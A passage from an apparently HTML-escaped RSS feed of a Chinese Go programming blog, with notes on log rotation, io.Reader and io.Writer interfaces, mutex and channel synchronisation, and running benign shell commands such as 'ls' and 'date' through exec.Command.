&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;		&lt;/span&gt;&lt;span class="nx"&gt;rotatelogs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;WithMaxAge&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Duration&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;180&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Second&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;		&lt;/span&gt;&lt;span class="nx"&gt;rotatelogs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;WithRotationTime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Duration&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Second&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;SetOutput&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;writer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="cp"&gt;//log.SetFormatter(&amp;amp;log.JSONFormatter{})&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;		&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;hello, world!&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;		&lt;/span&gt;&lt;span class="nx"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Duration&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Second&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="hook"&gt;Hook&lt;/h2&gt;
&lt;h3 id="hook内部实现"&gt;hook内部实现&lt;/h3&gt;
&lt;p&gt;Hook 接口定义如下:&lt;/p&gt;</description></item><item><title>golang reader writer接口</title><link>https://saucer-man.com/backend_development/575.html</link><pubDate>Tue, 08 Sep 2020 16:23:00 +0000</pubDate><guid>https://saucer-man.com/backend_development/575.html</guid><description>&lt;p&gt;&lt;strong&gt;golang 的笔记,内容多来源于互联网，放这里方便查找。&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id="简介"&gt;简介&lt;/h2&gt;
&lt;p&gt;Writer和Reader是两个抽象的接口，其定义如下&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Writer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;interface&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="nf"&gt;Write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Reader&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;interface&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="nf"&gt;Read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://segmentfault.com/img/bVbdzja?w=1600&amp;amp;h=214/view" alt=""&gt;&lt;/p&gt;
&lt;p&gt;很多方法的接收参数都是io.Writer接口，当然还有io.Reader接口，这就是面向接口的编程，我们不用关注具体实现，只用关注这个接口可以做什么事情，如果我们换成输出到文件里，那么也很容易，只用把os.File类型作为参数即可。任何实现了该接口的类型，都可以作为参数。&lt;/p&gt;</description></item><item><title>golang 并发模型</title><link>https://saucer-man.com/backend_development/574.html</link><pubDate>Tue, 08 Sep 2020 16:23:00 +0000</pubDate><guid>https://saucer-man.com/backend_development/574.html</guid><description>&lt;p&gt;&lt;strong&gt;golang 的笔记,内容多来源于互联网，放这里方便查找。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;不要通过共享内存来通信，而应通过通信来共享内存。&lt;/p&gt;
&lt;p&gt;golang并发的三种同步方式&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;channel&lt;/li&gt;
&lt;li&gt;sync&lt;/li&gt;
&lt;li&gt;context&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="同步锁"&gt;同步锁&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;使用sync.Mutex 要确保先Lock,再Unlock&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;mu&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sync&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Mutex&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;mu&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Lock&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;go&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;fmt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;你好, 世界&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;mu&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Unlock&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;mu&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Lock&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;使用无缓冲channel&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;对于从无缓冲Channel进行的接收，发生在对该Channel进行的发送完成之前&lt;/p&gt;</description></item><item><title>golang 执行shell命令大全</title><link>https://saucer-man.com/backend_development/571.html</link><pubDate>Tue, 08 Sep 2020 16:23:00 +0000</pubDate><guid>https://saucer-man.com/backend_development/571.html</guid><description>&lt;p&gt;&lt;strong&gt;golang 的笔记,内容多来源于互联网，放这里方便查找。&lt;/strong&gt;&lt;/p&gt;
&lt;h1 id="1-执行命令并获得输出结果"&gt;1. 执行命令并获得输出结果&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;CombinedOutput()&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;执行程序返回 standard output and standard error&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="nx"&gt;cmd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;ls&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#34;-lah&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="nx"&gt;out&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;CombinedOutput&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;		&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Fatalf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;cmd.Run() failed with %s\n&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="nx"&gt;fmt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;combined out:\n%s\n&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;out&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Output()&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;执行程序返回standard output&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="nx"&gt;out&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;date&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;Output&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;		&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Fatal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="nx"&gt;fmt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;The date is %s\n&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;out&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h1 id="2-将stdout和stderr分别处理"&gt;2. 将stdout和stderr分别处理&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;用buffer接受输出&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="nx"&gt;cmd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;ls&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#34;-lah&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;stdin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;stdout&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;stderr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Buffer&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="nx"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Stdin&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;stdin&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="nx"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Stdout&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;stdout&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="nx"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Stderr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;stderr&lt;/span&gt;&lt;span class="w"&gt;
